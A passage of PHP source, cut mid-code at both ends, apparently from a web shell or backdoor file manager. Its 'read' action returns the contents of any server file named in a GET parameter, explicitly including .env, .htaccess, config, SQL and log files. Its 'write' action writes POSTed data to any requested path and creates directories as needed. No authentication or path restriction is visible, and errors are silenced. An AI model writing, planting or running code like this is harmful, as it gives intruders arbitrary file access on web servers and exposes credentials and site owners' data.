e(404); echo '{"e":"not found"}'; exit; }
            $ext = strtolower(pathinfo($p, PATHINFO_EXTENSION));
            $textExts = array('php','txt','html','htm','css','js','json','xml','yml','yaml','ini','conf','cfg','log','sql','py','rb','sh','bat','md','csv','env','htaccess');
            if (in_array($ext, $textExts) || @filesize($p) < 500000) {
                $c = @file_get_contents($p);
                if ($c === false) { http_response_code(403); echo '{"e":"read failed"}'; exit; }
                header('Content-Type: text/plain; charset=utf-8');
                echo $c;
            } else {
                header('Content-Type: application/octet-stream');
                header('Content-Disposition: inline; filename="' . basename($p) . '"');
                header('Content-Length: ' . @filesize($p));
                @readfile($p);
            }
            break;

        case 'write':
            $p = isset($_GET['p']) ? $_GET['p'] : '';
            $c = isset($_POST['data']) ? $_POST['data'] : '';
            if (!$p) { echo '{"e":"no path"}'; exit; }
            $dir = dirname($p);
            if (!is_dir($dir)) @mkdir($dir, 0755, true);
            $ok = @file_put_cont